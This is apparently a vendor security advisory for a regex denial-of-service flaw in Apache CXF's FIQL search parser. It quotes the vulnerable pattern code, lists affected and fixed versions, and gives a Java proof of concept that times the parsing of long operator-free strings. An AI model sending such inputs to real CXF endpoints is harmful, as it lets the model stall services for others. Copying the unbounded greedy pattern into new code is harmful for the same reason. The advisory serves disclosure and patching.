CVE-2026-86463

Overview

Apache CXF is an open-source services framework, maintained by the Apache Software Foundation, for building and consuming web services in Java. It implements the JAX-WS and JAX-RS APIs and supports SOAP, the WS-* standards, RESTful HTTP, and OAuth 2.0 over transports such as HTTP and JMS. Its modules are published as Maven artifacts under org.apache.cxf.

A regular expression denial of service vulnerability (CVE-2026-86463) has been identified in the FIQL query parser of the Apache CXF JAX-RS search extension, which allows attackers to make the server consume excessive CPU time by sending a long search expression that contains no comparison operator. This can slow down or stall the handling of other requests.

Per OWASP: The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression (Regex) to enter these extreme situations and then hang for a very long time.

This issue affects multiple versions of Apache CXF.

Details

Module Info

• Product: Apache CXF
• Affected packages: org.apache.cxf:cxf-rt-rs-extension-search
• Affected versions: <3.6.13, >=4.0.0 <4.1.9, >=4.2.0 <4.2.4
• GitHub repository: https://github.com/apache/cxf
• Published packages: https://central.sonatype.com/artifact/org.apache.cxf/cxf-rt-rs-extension-search
• Package manager: Maven
• Fixed in:
  • OSS Apache CXF 3.6.13, 4.1.9, 4.2.4
  • NES for Apache CXF v3.4.13, v3.5.14

Vulnerability Info

This Low-severity vulnerability is found in the org.apache.cxf:cxf-rt-rs-extension-search package in multiple versions of Apache CXF. The package's FiqlParser turns FIQL search expressions, such as the value of the _s or _search query parameter that SearchContextImpl reads, into search conditions. Each comparison in the expression is matched against a pattern built from the FIQL comparison operators:

String comparators = GT + "|" + GE + "|" + LT + "|" + LE + "|" + EQ + "|" + NEQ;
String s1 = "[\\p{ASCII}]+(" + comparators + ")";
COMPARATORS_PATTERN = Pattern.compile(s1);

String s2 = "[\\p{ASCII}]+(" + comparators + "|" + "=" + ")";
COMPARATORS_PATTERN_SINGLE_EQUALS = Pattern.compile(s2);

parse() hands the expression to the parser without checking its length, and parseComparison() runs the pattern with find():

public SearchCondition<T> parse(String fiqlExpression) throws SearchParseException {
    ASTNode<T> ast = parseAndsOrsBrackets(fiqlExpression);
    return ast.build();
}

protected ASTNode<T> parseComparison(String expr) throws SearchParseException {
    Matcher m = comparatorsPattern.matcher(expr);
    if (m.find()) {

The greedy [\p{ASCII}]+ prefix first consumes the whole input and then gives it back one character at a time, looking for an operator after each position. When the input holds no operator, every attempt fails, and find() repeats the whole scan from each later start position. The work therefore grows with the square of the input length. A client that can send a FIQL query to a CXF search endpoint can supply a long operator-free string, for example tens of thousands of a characters, and tie up a request thread for seconds per request. Repeated requests can exhaust the server's CPU.

Steps to Reproduce

1. Create a Maven project that depends on org.apache.cxf:cxf-rt-rs-extension-search at an affected version, for example 3.5.11.

2. Add the following class and run it with an expression length of 32768 and then 65536.

import org.apache.cxf.jaxrs.ext.search.fiql.FiqlParser;

public class FiqlReDoS {
    public static class Bean {
        private String name;
        public String getName() { return name; }
        public void setName(String name) { this.name = name; }
    }

    public static void main(String[] args) {
        String expression = "a".repeat(Integer.parseInt(args[0]));
        long start = System.nanoTime();
        try {
            new FiqlParser<>(Bean.class).parse(expression);
        } catch (Exception ex) {
            System.out.println(ex.getClass().getSimpleName());
        }
        System.out.println("parse took " + (System.nanoTime() - start) / 1_000_000 + " ms");
    }
}

3. Observe that the parse time roughly quadruples each time the input length doubles: about 4.6 seconds for 32768 characters and about 20 seconds for 65536 characters on 3.5.11. A fixed release rejects both inputs at once with a SearchParseException that reports the maximum FIQL expression length.

Mitigation

Only recent versions of Apache CXF are community-supported. Older lines are End-of-Life and will not receive public updates to address this issue.

Users of the affected components should apply one of the following mitigations:

• Upgrade to a currently supported Apache CXF release line (3.6.x or later) that contains the fix.
• Leverage a commercial support partner like HeroDevs for post-EOL security support.

Credits

• Mike Read (finder)